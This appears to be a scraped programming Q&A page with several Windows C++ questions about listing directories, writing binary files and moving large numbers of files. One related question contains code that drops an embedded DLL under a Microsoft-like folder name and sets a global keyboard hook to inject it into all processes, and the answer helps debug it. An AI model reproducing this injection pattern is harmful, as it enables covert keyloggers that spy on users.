I've come across this code for directory listing on Windows using C++,and I've understood that you can search a directory with these APIs: FindFirstFileEx, FindNextFile and CloseFind. You'll need to #include , that'll get you access to the Windows API.
I'm not able to understand how this code works, as a result not able to make out the compilation error.
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <strcat.h>
#pragma comment(lib, "User32.lib")
void DisplayErrorBox(LPTSTR lpszFunction);
int _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA ffd;
LARGE_INTEGER filesize;
TCHAR szDir[MAX_PATH];
size_t length_of_arg;
HANDLE hFind = INVALID_HANDLE_VALUE;
DWORD dwError=0;
// If the directory is not specified as a command-line argument,
// print usage.
if(argc != 2)
{
_tprintf(TEXT("\nUsage: %s <directory name>\n"), argv[0]);
return (-1);
}
// Check that the input path plus 3 is not longer than MAX_PATH.
// Three characters are for the "\*" plus NULL appended below.
StringCchLength(argv[1], MAX_PATH, &length_of_arg);
if (length_of_arg > (MAX_PATH - 3))
{
_tprintf(TEXT("\nDirectory path is too long.\n"));
return (-1);
}
_tprintf(TEXT("\nTarget directory is %s\n\n"), argv[1]);
// Prepare string for use with FindFile functions. First, copy the
// string to a buffer, then append '\*' to the directory name.
StringCchCopy(szDir, MAX_PATH, argv[1]);
StringCchCat(szDir, MAX_PATH, TEXT("\\*"));
// Find the first file in the directory.
hFind = FindFirstFile(szDir, &ffd);
if (INVALID_HANDLE_VALUE == hFind)
{
DisplayErrorBox(TEXT("FindFirstFile"));
return dwError;
}
// List all the files in the directory with some info about them.
do
{
if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
_tprintf(TEXT(" %s <DIR>\n"), ffd.cFileName);
}
else
{
filesize.LowPart = ffd.nFileSizeLow;
filesize.HighPart = ffd.nFileSizeHigh;
_tprintf(TEXT(" %s %ld bytes\n"), ffd.cFileName, filesize.QuadPart);
}
}
while (FindNextFile(hFind, &ffd) != 0);
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
{
DisplayErrorBox(TEXT("FindFirstFile"));
}
FindClose(hFind);
return dwError;
}
void DisplayErrorBox(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and clean up
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)*sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
Gives out the followoing error on codeblocks:
fatal error: strcat.h: No such file or directory
#include <strcat.h>
^
compilation terminated.
strcat is defined in string.h not strcat.h
Then, you do not seem to be using strcat, maybe you can remove that.
Related
I am trying to load a DLL from resource and use SetWindowsHook to inject DLL to all Process GetFullPathName doesnt Seem to Work in this case, Now i am asking what would I do to get the DLL Path in this case, My code looks like this. I am new to using This and hence i cannot seem to get the DLL Path
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include "resource.h"
void ExtractnRun()
{
char* name = getenv("USERNAME");
char info[1500];
char aNewFile[1500];
sprintf(info,"C:\\Users\\%s\\AppData\\Local\\MicroSoftX",name);
//_mkdir(info);
if (CreateDirectoryA(info, NULL))
{
MessageBoxA(NULL, "Directory Created", "", MB_OK);
}
// Extract From Resource
HRSRC hrsrc = FindResource(0, MAKEINTRESOURCE(IDR_DLL21),"DLL2");
DWORD size = SizeofResource(0, hrsrc);
PVOID buff = LockResource(LoadResource(0, hrsrc));
DWORD dwBytesToWrite = (DWORD)strlen((char*)buff);
DWORD dwBytesWritten = 0;
sprintf(aNewFile, "C:\\Users\\%s\\AppData\\Local\\MicroSoftX\\mshelp.dll", name);
HANDLE hFile = CreateFileA(aNewFile, GENERIC_WRITE, 0, NULL,CREATE_ALWAYS ,FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile)
{
MessageBoxA(NULL, "File Created!", "", MB_OK);
}
/*FILE* f = fopen(aNewFile, "wb");
fwrite(buff,1,size,f);
fclose(f);
*/
if (WriteFile(hFile, buff, size, &dwBytesWritten, NULL))
{
MessageBoxA(NULL, "Data Written to DLL", "", MB_OK);
}
/*STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
*/
char dll[MAX_PATH];
GetFullPathName((LPCSTR)hFile, MAX_PATH, dll, NULL); // Shows Error here Cannot get Full Path of DLL
printf("%s\n",dll);
HMODULE MYdll = LoadLibrary(dll);
if (MYdll == NULL)
{
printf("dll cannot be found!\n");
getchar();
printf("DLL : %s", MYdll);
}
HOOKPROC addr = (HOOKPROC)GetProcAddress(MYdll, "SayHelloWorld");
if (addr == NULL)
{
printf("Cannot find Address!\n");
getchar();
}
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, MYdll, 0);
if (handle == NULL)
{
printf("Hook Failed!\n");
getchar();
}
printf("Program Hooked!\n");
getchar();
UnhookWindowsHookEx(handle);
//printf("%s\n",dll);
system("PAUSE");
}
int main()
{
ExtractnRun();
return 0;
}
The Exception Error i get looks like this :
Exception thrown at 0x7764171A (ntdll.dll) in ResourceExample.exe:
0xC0000005: Access violation reading location 0x0000009C.
If there is a handler for this exception, the program may be safely
continued.
What am I not getting correctly?
You can not pass the file handler to the "GetFullPahtName". It should be file name to find full path.
GetFullPathName((LPCSTR)hFile, MAX_PATH, dll, NULL);
Please refer the below link for more details.
https://msdn.microsoft.com/en-us/library/windows/desktop/aa364963(v=vs.85).aspx
I have to admit that I am new to C++ and even new to Visual studio. I have to use Visual studio since the rest of the code is in visual studio and want to open a file and then save binary data to it. I have found some help from Visual Studio and found a program which can send strings to a file but I want to send binary data.For this purpose I have amended the program. But the problem is that it is not performing as per expectations and sending some symbols. I know that there are quite a lot of experts on Stack Overflow. Will any body help me in resolving my issue?
#include "stdafx.h"
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <strsafe.h>
#include <strsafe.h>
#include<conio.h>
void DisplayError(LPTSTR lpszFunction);
void __cdecl _tmain(int argc, TCHAR *argv[])
//void __cdecl _tmain()
{
HANDLE hFile;
int DataBuffer[5] = { 1, 2, 3, 4, 5 };
DWORD dwBytesToWrite = 5;
DWORD dwBytesWritten = 0;
BOOL bErrorFlag = FALSE;
printf("\n");
if (argc != 2)
{
printf("Usage Error:\tIncorrect number of arguments\n\n");
_tprintf(TEXT("%s <file_name>\n"), argv[0]);
return;
}
hFile = CreateFile(argv[1], // name of the write
GENERIC_WRITE, // open for writing
0, // do not share
NULL, // default security
CREATE_NEW, // create new file only
FILE_ATTRIBUTE_NORMAL, // normal file
NULL); // no attr. template
if (hFile == INVALID_HANDLE_VALUE)
{
DisplayError(TEXT("CreateFile"));
_tprintf(TEXT("Terminal failure: Unable to open file \"%s\" for write.\n"), argv[1]);
return;
}
_tprintf(TEXT("Writing %d bytes to %s.\n"), dwBytesToWrite, argv[1]);
bErrorFlag = WriteFile(
hFile, // open file handle
DataBuffer, // start of data to write
dwBytesToWrite, // number of bytes to write
&dwBytesWritten, // number of bytes that were written
NULL); // no overlapped structure
if (FALSE == bErrorFlag)
{
DisplayError(TEXT("WriteFile"));
printf("Terminal failure: Unable to write to file.\n");
}
else
{
if (dwBytesWritten != dwBytesToWrite)
{
// This is an error because a synchronous write that results in
// success (WriteFile returns TRUE) should write all data as
// requested. This would not necessarily be the case for
// asynchronous writes.
printf("Error: dwBytesWritten != dwBytesToWrite\n");
}
else
{
_tprintf(TEXT("Wrote %d bytes to %s successfully.\n"), dwBytesWritten, argv[1]);
}
}
CloseHandle(hFile);
}
void DisplayError(LPTSTR lpszFunction)
{
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf,
0,
NULL);
lpDisplayBuf =
(LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf)
+ lstrlen((LPCTSTR)lpszFunction)
+ 40) // account for format string
* sizeof(TCHAR));
if (FAILED(StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error code %d as follows:\n%s"),
lpszFunction,
dw,
lpMsgBuf)))
{
printf("FATAL ERROR: Unable to output error code.\n");
}
_tprintf(TEXT("ERROR: %s\n"), (LPCTSTR)lpDisplayBuf);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
I'm writing an app in Qt and trying to use the windows functions FindFirstFile and FindNextFile in order to speed up counting large numbers of files in several directories. I've copied this code almost verbatum off the microsoft site in order to list files, but debugging it shows that it's only listing one file when I trigger the function;
QStringList Manager::returnDirectoryFileData(QString ChangedDirectory)
{
QStringList DirectoryFiles;
WIN32_FIND_DATA FindFileData;
LARGE_INTEGER filesize;
HANDLE hFind = INVALID_HANDLE_VALUE;
DWORD dwError = 0;
//string directorySearch = "E:\\My Documents\\Visual Studio 2010\\Projects\\SEP-Asignment-One\\Debug\\*";
// Find the first file in the directory.
LPCWSTR ConvertedDir = (const wchar_t*)ChangedDirectory.utf16();
PVOID OldValue = NULL;
if (Wow64DisableWow64FsRedirection(&OldValue))
{
hFind = FindFirstFile(ConvertedDir, &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
printf("Invalid file handle. Error is %u.\n", GetLastError());
}
do
{
QString Newname = "Want to do stuff here";
DirectoryFiles.append(Newname);
printf(" %s <DIR>\n", FindFileData.cFileName);
} while (FindNextFile(hFind, &FindFileData) != 0);
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
{
DisplayErrorBox(TEXT("FindFirstFile"));
}
FindClose(hFind);
}
Wow64RevertWow64FsRedirection(&OldValue);
return DirectoryFiles;
}
This is a 32 bit program running on 64 bit windows 10, so the Wow64DisableWow64fsredirection is supposed to be called before these functions are used. Anyone know what I'm doing wrong? Thanks!
My question crossreferrer with [question]Visual C#: Move multiple files with the same extensions into another directory
but i have yet biggest problem - my directory contain more than 3 million files. C# with .GetFiles() can not solve my problem.
I think, that only with C++ i can do it.
Algorithm
CreateDir "temp"+counterDirs
FindFirst file into source dir
MoveFile into newDir (created on step 1)
increment counterFiles
repeat Steps 2-4 until FindFirst not have error(stop prog) or counterFiles < moveLimit (exmpl 100 000)
increment counterDirs
repeat all from Steps 1-6
target: move all files from src-dir (3 million) into a few target-dirs with 100 000 files.
Please help me with coding - i don't know C++ (VS 2010)
This is my code
`int _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA ffd;
LARGE_INTEGER filesize;
TCHAR szDir[MAX_PATH];
TCHAR szNewDir[MAX_PATH];
TCHAR szNewDirEx[MAX_PATH];
size_t length_of_arg;
HANDLE hFind = INVALID_HANDLE_VALUE;
DWORD dwError=0;
DWORD dwFiles = 0;
DWORD dwDirs = 0;
// If the directory is not specified as a command-line argument,
// print usage.
if(argc != 2)
{
_tprintf(TEXT("\nUsage: %s <directory name>\n"), argv[0]);
return (-1);
}
// Check that the input path plus 3 is not longer than MAX_PATH.
// Three characters are for the "\*" plus NULL appended below.
StringCchLength(argv[1], MAX_PATH, &length_of_arg);
if (length_of_arg > (MAX_PATH - 3))
{
_tprintf(TEXT("\nDirectory path is too long.\n"));
return (-1);
}
_tprintf(TEXT("\nTarget directory is %s\n\n"), argv[1]);
// Prepare string for use with FindFile functions. First, copy the
// string to a buffer, then append '\*' to the directory name.
StringCchCopy(szDir, MAX_PATH, argv[1]);
StringCchCat(szDir, MAX_PATH, TEXT("\\*"));
StringCchCopy(szNewDir, MAX_PATH, argv[1]);
StringCchCat(szNewDir, MAX_PATH, TEXT("\\dir"));
StringCchCat(szNewDirEx, MAX_PATH, szNewDir);
// Find the first file in the directory.
hFind = FindFirstFile(szDir , &ffd);
if (INVALID_HANDLE_VALUE == hFind)
{
DisplayErrorBox(TEXT("FindFirstFile"));
return dwError;
}
// List all the files in the directory with some info about them.
do
{
if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
_tprintf(TEXT(" %s <DIR>\n"), ffd.cFileName);
}
else
{
if(dwFiles == 0) {
StringCchCat(szNewDirEx, MAX_PATH, TEXT(dwDirs));
CreateDir(szNewDirEx); //dwDirs toString
}
if (!MoveFileEx(__OLDDIR__ + ffd.cFileName, szNewDirEx + ffd.cFileName, MOVEFILE_WRITE_THROUGH))
{
printf ("MoveFileEx failed with error %d\n", GetLastError());
return;
} else {
dwFiles++;
if (dwFiles == 50000) {
dwDirs++;
dwFiles = 0;
}
}
}
}
while (FindFirstFile(hFind, &ffd) != 0);
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
{
DisplayErrorBox(TEXT("FindFirstFile"));
}
FindClose(hFind);
return dwError;
}
I found solution my task in How to use DirectoryInfo.GetFiles and have it stop after finding the first match?. I will try run this in my directory and will post result later.
Complete. Code in thread link worked perfect.
I am trying to get all the files in all of the computer and even the registry files using the c programming language or c++
i Have this code put it doesn't five me list of registry files and subfiles
#include <dirent.h>
#include <stdio.h>
int main(void)
{
system("Title G:\\");
DIR *d;
struct dirent *dir;
d = opendir("D:\\");
if (d)
{
while ((dir = readdir(d)) != NULL)
printf("%s\n", dir->d_name);
closedir(d);
}
getch();
}
You can use FindFirstFile, FindNextFile, and FindClose to list files in a specified directory.
What do you mean with the registry files? Do you mean registration database entries that has filenames specified as strings?
Here is an example from MSDN.
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <strsafe.h>
#pragma comment(lib, "User32.lib")
void DisplayErrorBox(LPTSTR lpszFunction);
int _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA ffd;
LARGE_INTEGER filesize;
TCHAR szDir[MAX_PATH];
size_t length_of_arg;
HANDLE hFind = INVALID_HANDLE_VALUE;
DWORD dwError=0;
// If the directory is not specified as a command-line argument,
// print usage.
if(argc != 2)
{
_tprintf(TEXT("\nUsage: %s <directory name>\n"), argv[0]);
return (-1);
}
// Check that the input path plus 3 is not longer than MAX_PATH.
// Three characters are for the "\*" plus NULL appended below.
StringCchLength(argv[1], MAX_PATH, &length_of_arg);
if (length_of_arg > (MAX_PATH - 3))
{
_tprintf(TEXT("\nDirectory path is too long.\n"));
return (-1);
}
_tprintf(TEXT("\nTarget directory is %s\n\n"), argv[1]);
// Prepare string for use with FindFile functions. First, copy the
// string to a buffer, then append '\*' to the directory name.
StringCchCopy(szDir, MAX_PATH, argv[1]);
StringCchCat(szDir, MAX_PATH, TEXT("\\*"));
// Find the first file in the directory.
hFind = FindFirstFile(szDir, &ffd);
if (INVALID_HANDLE_VALUE == hFind)
{
DisplayErrorBox(TEXT("FindFirstFile"));
return dwError;
}
// List all the files in the directory with some info about them.
do
{
if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
_tprintf(TEXT(" %s <DIR>\n"), ffd.cFileName);
}
else
{
filesize.LowPart = ffd.nFileSizeLow;
filesize.HighPart = ffd.nFileSizeHigh;
_tprintf(TEXT(" %s %ld bytes\n"), ffd.cFileName, filesize.QuadPart);
}
}
while (FindNextFile(hFind, &ffd) != 0);
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
{
DisplayErrorBox(TEXT("FindFirstFile"));
}
FindClose(hFind);
return dwError;
}
void DisplayErrorBox(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and clean up
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)*sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
You can use Change Journals
(very complex) for this !
See MSDN docs.